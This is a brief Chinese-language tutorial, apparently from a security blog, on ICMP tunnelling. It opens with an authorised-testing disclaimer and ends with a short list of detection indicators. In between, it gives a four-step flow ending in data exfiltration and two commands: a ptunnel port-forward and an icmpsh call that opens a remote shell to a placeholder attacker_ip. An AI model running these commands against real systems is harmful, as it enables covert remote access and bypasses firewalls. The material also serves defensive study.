ICMP隧道工具实战

写在前面：合法学习边界

ICMP 隧道工具只在授权测试环境使用。

1
① ICMP 请求 → ② 数据编码 → ③ ICMP 应答 → ④ 数据外传

1
2
3
4
5
# ptunnel：ICMP 端口转发
./ptunnel -p target_ip -lp 8080

# icmpsh：ICMP Shell
./icmpsh -s attacker_ip -d target_ip

1
2
ICMP 流量异常 · ICMP 包大小异常
ICMP 频率异常 · 防火墙关闭 ICMP

ICMP 隧道是绕过简单防火墙的有效手段。ICMP 流量行为分析是防御检测的核心。